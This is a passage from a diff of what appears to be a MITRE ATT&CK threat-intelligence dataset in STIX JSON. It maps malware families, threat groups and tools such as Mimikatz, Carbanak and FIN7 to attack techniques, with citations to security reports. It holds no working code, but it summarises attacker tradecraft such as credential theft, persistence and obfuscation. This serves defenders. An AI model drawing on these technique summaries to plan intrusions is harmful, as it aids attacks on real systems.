Loader](https://attack.mitre.org/software/S0226) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--46829b2b-0f05-4022-a254-e8b26fdfb860", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as netsh advfirewall firewall to discover local firewall settings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.053Z", + "id": "relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022", + "source_ref": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31", + "modified": "2019-09-24T13:30:04.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to create a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--54847cda-c38f-4a5b-8328-d0e6812b837b", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b2b873cd-8618-426e-9cae-9e6755acafad", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can launch a remote shell to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9256370f-60b2-4ab5-9a23-28c8cde73026", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "Microsoft Sysinternals [PsExec](https://attack.mitre.org/software/S0029) is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a66aff09-0635-44a3-b591-a530a25c9012", + "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.", + "source_name": "Russinovich Sysinternals", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a36bddd3-6993-4f3f-9298-cba2868438b2", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.701Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Bandook](https://attack.mitre.org/software/S0234) has modules that are capable of capturing from a victim's webcam.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c4f9c2ad-f740-4b08-9788-c058b98f2094", + "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "source_name": "EFF Manul Aug 2016", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Rover](https://attack.mitre.org/software/S0090) automatically searches for files on local drives based on a predefined list of file extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e90717f3-fad2-4978-be15-7dfb647d034d", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--522c0d0b-74aa-457f-8c2c-43a6fd75f35d", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "Crowdstrike Global Threat Report Feb 2018", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses ports 447 and 8082 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ec5ed3d-92af-4a86-b9db-42e506e661d3", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "source_name": "Fidelis TrickBot Oct 2016", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + }, + { + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Naid](https://attack.mitre.org/software/S0205) connects to external C2 infrastructure over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--68b5f8de-41bf-4909-bb0b-be5bb41a8698", + "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.", + "source_name": "Symantec Naid June 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover the system time by using the net time command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "A [FinFisher](https://attack.mitre.org/software/S0182) variant uses a custom packer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4636d747-9b81-4139-b86d-6e4edbc4111e", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-10-15T18:47:32.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "source_name": "FinFisher Citation", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "source_name": "Securelist BlackOasis Oct 2017", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)\u2019s LSADUMP::DCSync, KERBEROS::Golden, and KERBEROS::PTT modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--76037b22-a3e4-40d3-bd56-699d1ea4e97e", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.333Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "AdSecurity Kerberos GT Aug 2015", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "url": "https://adsecurity.org/?p=1640" + }, + { + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "source_name": "Harmj0y DCSync Sept 2015", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "source_name": "NCSC Joint Report Public Tools", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) uses HTTP for communication with the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ee83de4f-1ebf-4da4-829e-052d2ac7cb3a", + "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "source_name": "Sofacy DealersChoice", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) may store RC4 encrypted configuration information in the Windows Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--40a8f80d-5497-4218-849c-3c0b63796641", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.976Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) kills antimalware running process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0220ae6b-0dd1-434c-9bde-68ee2b045a53", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the Internet adapter configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--45a9a394-2371-4751-ae86-043630b6f52a", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can clear all system event logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--af009cfc-2b1f-4c4c-8712-0c13a2884d8e", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) creates a Registry start-up entry to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--06eb051c-74d0-4bbd-8cdf-1018b3c2e748", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "source_name": "McAfee Netwire Mar 2015", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain the victim user name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--21fdaa87-7b0e-4ad9-a612-c4d2ec8789d7", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b", + "source_ref": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf", + "modified": "2019-07-24T14:15:04.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Winnti](https://attack.mitre.org/software/S0141) sets its DLL file as a new service in the Registry to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0a65c303-52a6-4624-a8fb-fc7448429139", + "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "source_name": "Microsoft Winnti Jan 2017", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate users in the victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b0bfd6bc-95fd-4587-8d2d-2d40c3c25ba0", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Elise](https://attack.mitre.org/software/S0081) executes net user after initial communication is made to the remote server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--95fc970d-98cd-4bc9-895a-9534ba89c795", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": 